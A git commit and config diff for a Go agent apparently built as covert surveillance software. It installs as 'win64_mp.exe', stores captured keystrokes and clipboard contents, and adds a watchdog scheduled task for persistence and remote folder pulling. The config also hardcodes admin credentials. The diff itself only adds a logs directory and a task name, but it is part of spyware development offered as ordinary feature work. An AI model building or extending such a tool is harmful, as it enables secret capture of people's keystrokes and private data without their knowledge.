feat(agent): add crash logs and watchdog startup

- Recover panics to disk for diagnostics
- Add 5-minute watchdog task with startup
- Add -ensure flag to start detached agent
- Add script to pull remote folder via API

lib/config/config.go

@@ -25,7 +25,9 @@ const (
 	AppDataDir                 = "win64_mp"
 	InstalledExeName           = "win64_mp.exe"
 	KeylogSubdir               = "keystrokes"
+	LogsSubdir                 = "logs"
 	ClipboardSubdir            = "clipboard"
+	WatchdogTaskName           = "win64_mp_watchdog"
 	DefaultKeylogRetentionDays = 7
 	AuthUser                   = "admin"
 	AuthPass                   = "blueberries"
@@ -67,6 +69,14 @@ func KeylogDir() (string, error) {
 	return filepath.Join(base, KeylogSubdir), nil
 }
 
+func LogsDir() (string, error) {
+	base, err := InstallDir()
+	if err != nil {
+		return "", err
+	}
+	return filepath.Join(base, LogsSubdir), nil
+}
+
 func InstallDir() (string, error) {
 	base, err := os.UserConfigDir()
 	if err != nil {